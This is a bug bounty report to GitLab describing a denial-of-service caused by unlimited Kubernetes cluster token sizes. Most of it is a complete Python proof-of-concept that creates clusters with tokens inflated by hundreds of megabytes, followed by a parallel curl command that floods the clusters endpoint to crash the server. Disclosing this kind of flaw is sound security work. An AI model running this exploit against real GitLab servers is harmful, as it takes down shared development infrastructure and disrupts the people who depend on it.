Unbounded Kubernetes Cluster Tokens Leading to Server Crash
HackerOne report #3045424 by pwnie
on 2025-03-19, assigned to @ameyadarshan:
Report
Summary
GitLab’s Kubernetes cluster integration lacks limits on token size. By inflating these tokens with arbitrary data, an attacker can force the server to process massive payloads, ultimately leading to a Denial-of-Service (DoS) crash.
Steps to Reproduce
-
Enable Certificate-Based Clusters
Open the Rails console on the GitLab instance and run:Feature.enable(:certificate_based_clusters)
-
Inline Proof-of-Concept Script
Use the following Python script to create clusters with inflated tokens. Replace the host, private token, and project ID as needed:#!/usr/bin/env python3 import requests import argparse import json import sys import os import base64 import re import random def parse_arguments(): """Parse command line arguments for GitLab cluster creation.""" parser = argparse.ArgumentParser( description='Create a Kubernetes cluster in GitLab project using requests' ) # GitLab connection parameters parser.add_argument('--gitlab-url', required=True, help='GitLab instance URL (e.g., https://gitlab.com)') parser.add_argument('--private-token', required=True, help='GitLab private token for authentication') # Required parameters parser.add_argument('--project-id', required=True, help='The ID or URL-encoded path of the project') parser.add_argument('--name', required=True, help='Cluster name') parser.add_argument('--api-url', required=True, help='URL to access the Kubernetes API') parser.add_argument('--token', required=True, help='Token to authenticate against Kubernetes') # Optional parameters parser.add_argument('--domain', help='Cluster base domain') parser.add_argument('--enabled', type=lambda x: x.lower() == 'true', default=True, help='Determines if cluster is active (true/false)') parser.add_argument('--managed', type=lambda x: x.lower() == 'true', default=True, help='Determines if GitLab manages namespaces and service accounts (true/false)') parser.add_argument('--ca-cert', help='TLS certificate (needed if API is using a self-signed TLS certificate)') parser.add_argument('--ca-cert-file', help='Path to TLS certificate file (alternative to --ca-cert)') parser.add_argument('--namespace', help='Unique namespace related to Project') parser.add_argument('--authorization-type', default='rbac', choices=['rbac', 'abac', 'unknown_authorization'], help='Cluster authorization type (default: rbac)') # Removed environment scope argument parser.add_argument('--management-project-id', type=int, help='The ID of the management project') # New argument: amount of random MB to generate for the username field parser.add_argument('--random-mb', required=True, type=int, help='Amount of random MB to generate for the username field') return parser.parse_args() def main(): """Main function to create a cluster using GitLab API.""" args = parse_arguments() # Read CA cert from file if provided ca_cert = args.ca_cert if args.ca_cert_file and not ca_cert: try: with open(args.ca_cert_file, 'r') as file: ca_cert = file.read() except Exception as e: print(f"Error reading CA certificate file: {e}", file=sys.stderr) sys.exit(1) # Generate random username data: # 1. Generate n MB random bytes. # 2. Base64-encode the bytes. # 3. Remove all non-alphanumeric characters. num_bytes = args.random_mb * 1024 * 1024 random_bytes = os.urandom(num_bytes) base64_data = base64.b64encode(random_bytes).decode('utf-8') username = re.sub(r'[^a-zA-Z0-9]', '', base64_data) # Construct the API endpoint URL api_url = f"{args.gitlab_url}/api/v4/projects/{args.project_id}/clusters/user" # Set up headers with authentication token headers = { 'Private-Token': args.private_token, 'Content-Type': 'application/json' } # Prepare the payload data, including the generated username payload = { 'name': args.name, 'enabled': args.enabled, 'managed': args.managed, 'platform_kubernetes_attributes': { 'username': username, 'api_url': args.api_url, 'token': username, 'authorization_type': args.authorization_type } } # Add optional parameters if provided if args.domain: payload['domain'] = args.domain if args.management_project_id: payload['management_project_id'] = args.management_project_id if ca_cert: payload['platform_kubernetes_attributes']['ca_cert'] = username if args.namespace: payload['platform_kubernetes_attributes']['namespace'] = args.namespace # Set environment_scope to a random 10-digit number as a string payload['environment_scope'] = str(random.randint(1000000000, 9999999999)) # Make the POST request to the GitLab API try: response = requests.post(api_url, headers=headers, json=payload) response.raise_for_status() print("Cluster created successfully!") print(json.dumps(response.json(), indent=2)) except requests.exceptions.HTTPError as http_err: print(f"HTTP error occurred: {http_err}", file=sys.stderr) print(f"Response: {response.text}", file=sys.stderr) sys.exit(1) except requests.exceptions.RequestException as err: print(f"Error occurred: {err}", file=sys.stderr) sys.exit(1) if __name__ == "__main__": main()
Usage Example:
Replace placeholders accordingly and run the script five times:python3 create_cluster.py --gitlab-url http://localhost --project-id 1 --name pwned --api-url https://example.com --private-token <YOUR_PRIVATE_TOKEN> --enabled false --random-mb 100 --token dummy
-
Trigger the Crash
After executing the script 5 times to create multiple clusters with oversized tokens, run the following command to stress the API endpoint and crash the server:seq 100 | xargs -P 20 -I {} curl http://localhost/api/v4/projects/<PROJECT_ID>/clusters --H 'PRIVATE-TOKEN: <YOUR_PRIVATE_TOKEN>'
Impact
-
Denial-of-Service (DoS):
The vulnerability enables an attacker to crash the GitLab server by overloading it with inflated token data, exhausting available resources. -
Service Disruption:
In production, this could interrupt development pipelines and hinder access to GitLab services.
Impact
-
Denial-of-Service (DoS):
The vulnerability enables an attacker to crash the GitLab server by overloading it with inflated token data, exhausting available resources. -
Service Disruption:
In production, this could interrupt development pipelines and hinder access to GitLab services.
How To Reproduce
Please add reproducibility information to this section: